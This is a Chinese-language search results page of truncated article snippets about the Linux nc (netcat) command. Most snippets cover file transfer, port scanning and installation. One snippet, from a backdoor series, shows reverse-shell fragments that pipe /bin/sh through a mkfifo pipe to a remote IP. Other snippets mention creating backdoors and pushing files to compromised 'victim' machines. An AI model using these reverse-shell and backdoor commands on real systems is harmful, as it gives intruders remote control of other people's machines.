首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往
您找到你想要的搜索结果了吗?
是的
没有找到

linux nc命令小结

11211 (小心操作,清空了缓存就没了) 补充教程 2 nc的使用方法 netcat被誉为网络安全界的‘瑞士军刀’,相信没有什么人不认识它吧…… 一个简单而有用的工具,透过使用TCP或UDP协议的网络连接去读写数据...作者:Hobbit && Chris Wysopal 网址:http://www.atstake.com/research/tools/network_utilities/ 类别:开放源码 平台:Linux...unix,linux attacker machine: // 攻击者的机器..../肉鸡需要gui界面的cmd.exe里面执行(终端登陆,不如安装FTP方便).否则没有办法输入Crl+C. attacker machine --> victim machine //上传命令文件到肉鸡...没有在系统路径中的话,要把下面一行注释去掉,加以修改 # PATH=$:$ ; export PATH ## 下面这几行检查参数输入情况: test "$3" && echo "too many args

6.1K31

Linux--nc命令

但是当文件过大的时候,例如前段时间需要传输一个1.7G的堆dump文件到本地,就让我犯了难,sz命令直接卡死,根本下载不下来,这个时候nc就派上了用场。...环境: 本地MAC OS,远程:centos,分别安装nc命令; 1....文件传输 第一步: 在本地启动一个接收文件的服务:nc -l 5555 > heapdump-1591610687839.hprof端口随便指定,不与其他重复即可;文件名按照自己需求指定;注意命令中的空格...; 第二步: 在远程服务器启动如下命令,将文件传输到本地端口。...文件传输(其实就是将以上的客户端和服务端切换一下) 第一步: 现在远程服务器,启动发送文件的命令nc -l 5555 < heapdump-1591610687839.hprof 第二步: 表示从远程服务器的

4.1K10

nc命令详解

-k:强制nc在其当前连接完成后继续侦听另一个连接。-k 必须与 -l 一起使用。 -l:用于指定nc将处于侦听模式,即作为server侦听指定端口。...nc命令的用法示例: 1. 测试远程主机指定tcp/udp端口是否开放 nc -zv 8.8.8.8 53 nc -uzv 8.8.8.8 53 2....扫描指定范围的端口(扫TCP端口的速度很慢): nc -zv 192.168.1.123 20-1024 nc -uzv 192.168.1.123 20-1024 PS: nc和ncat命令Linux...首先,nc是"netcat"的缩写,而ncat则是"netcat (from Nmap)"的缩写,其中nc来自于netcat原始版本,而ncat则来自于nmap项目。...最后,需要注意的是,在某些Linux发行版中,nc已经被替换为了ncat,因此在使用nc命令时需要注意查看命令的具体帮助信息。 参考文档: https://manpages.org/nc

32110

nc命令用法举例

准备两台机器,用于测试nc命令的用法 主机A:ip地址 10.0.1.161 主机B:ip地址 10.0.1.162 两台机器先安装nc和nmap的包 yum install nc -y yum install...上面命令也可以写成 nc -vzw 2 10.0.1.161 9999 ? 客户端测试,测试方法4(和方法3相似,但用处更大) nc可以可以扫描连续端口,这个作用非常重要。...客户端测试,测试方法1 nc -vuz 10.0.1.161 9998 由于udp的端口无法在客户端使用telnet去测试,我们可以使用nc命令去扫描(前面提到nc还可以用来扫描端口) (telnet是运行于...B机器使用nmap命令去扫描此udp端口,在扫描过程中,导致A机器的nc退出监听。...方法2,传输文件演示(先启动发送命令) 步骤1,先在B机器上,启动发送文件命令 下面命令表示通过本地的9992端口发送test.mv文件 nc -l 9992 <test.mv ?

12.4K10

每天学一个 Linux 命令(91):nc

命令简介 nc 命令是一款功能强大的网络工具。它是一个端口扫描工具,也是一款安全工具,还能是一款监测工具,甚至可以做为一个简单的 TCP 代理。...这里有一个坑,在CentOS7.X 中使用yum install -y nc安装的nc实际安装的是nmap-ncat(ncat命令),但ncat这个命令没有端口扫描功能,但为何在系统中又可以使用nc命令呢...,如下: [root@centos7 ~]# which nc /usr/bin/nc [root@centos7 ~]# ls -l /usr/bin/nc lrwxrwxrwx 1 root root...命令时,实际执行的是ncat命令,解决文案如下:下载 nc软件包(https://sourceforge.net/projects/netcat/files/netcat/0.7.1/),上传解压并编译安装...(你会发现网上好多的教程全是没有验证这个坑的) [root@centos7 ~]# tar zxf netcat-0.7.1.tar.gz [root@centos7 ~]# cd netcat-0.7.1

1.4K50

Linux网络命令必知必会之瑞士军刀 nc(netcat)

使用 UDP,默认是 TCP -v:显示详细信息 -w:设定超时时间(只适合用在 Client 端) -d:禁止从标准输入读取数据,也就是客户端输入数据不会发送到服务端 -k:让服务端保持连接,不断开 Linux...系统默认没有安装 nc,可以用下面的方法安装: # centos yum install nc # ubuntu apt-get install netcat 建立 C/S 聊天室 nc 的本质是在两台机器之间建立连接...我们下面就使用 nc 来建立一个 C/S 的聊天室。...| grep nc nc 1966 root 3u IPv6 19317 0t0 UDP *:6000 nc 1976...端口扫描 端口扫描是一个非常重要的功能,很多时候系统管理员会通过扫描服务器上端口,来识别系统中漏洞,nc 工具提供了非常方便的操作: nc -vz 192.168.0.117 1-100 这条命令扫描

10.1K11

nc 反弹shell ​| Linux 后门系列

---- 关于nc之前文章就已经讲过了,不过我发现不同 linuxnc不太一样 ?...3128 -z 只连接,不进行输入输出,通常被用来做端口扫描 ---- 翻译了一通,发现没有 -c 选项呀,这.......Linux 后门之后发现我竟然对这些命令有些犹豫(其实就是学艺不精啦) 我对这个 rm -f /tmp/f 就十分不理解,实验之后我发现,没错,就是删除 /tmp/f 这个文件,没啥特殊的,就是怕mkfifo...192.168.1.38 5555 > /tmp/f ---- 本来我想如果加上 -k 选项是不是可以做一个持久后门,经过尝试, 加上 -k 只能保证端口开放,没有办法保持命令执行 如果你遇到的nc...nc 192.168.1.101 6666 连接 192.168.1.101 的 6666 端口,并将 /bin/sh的输出传递给这个连接作为输入 ---- 巧用 ` 来执行命令 nc 192.168.1.38

2.9K30

一文让你熟练掌握Linux的ncat(nc)命令

一文让你熟练掌握Linux的ncat(nc)命令 ncat 或者说 nc 是一款功能类似 cat 的工具,但是是用于网络的。...在大多数 Debian 发行版中,nc 是默认可用的,它会在安装系统的过程中自动被安装。 但是在 CentOS 7/RHEL 7 的最小化安装中,nc 并不会默认被安装。 你需要用下列命令手工安装。...在本文中,我们会通过下面这些例子来学习如何使用 nc 命令。 1) 监听入站连接 通过 -l 选项,ncat 可以进入监听模式,使我们可以在指定端口监听入站连接。...不过如果你恰好遇见个没有 ssh/scp 的系统的话, 你可以用 nc 来作最后的努力。...我们也可以用这种方法拷贝整个磁盘分区,不过请一定要小心 7) 通过 nc 创建后门 nc 命令还可以用来在系统中创建后门,并且这种技术也确实被黑客大量使用。

12.8K21

linux7 没有dpkg,Linux 系统操作 (7):dpkg 命令

Linux 系统操作 (7):dpkg 命令 文章目录 综述: 安装命令: 查看与搜索命令: 删除命令: 不太常用的命令: 参考文献: 综述: 广义的 Debian 是指一个致力于创建自由操作系统的合作组织及其作品..., 由于 Debian 项目众多内核分支中以 Linux 宏内核为主, 而且 Debian 开发者 所创建的操作系统中绝大部分基础工具来自于 GNU 工程 , 因此 “Debian” 常指 Debian...GNU/Linux.dpkg 是一个 Debian 的一个命令行工具, 它可以用来安装, 删除, 构建和管理 Debian 的软件包....安装命令: 安装软件 dpkg -i package.deb 示例: dpkg -i avg71flm_r28-1_i386.deb 安装一个目录下面所有的软件包 dpkg -R dirname 示例:...示例: dpkg -unpack avg71flm_r28-1_i386.deb 重新配置和释放软件包 dpkg -configure package_file 如果和 – a 一起使用, 将配置所有没有配置的软件包

5.6K30
领券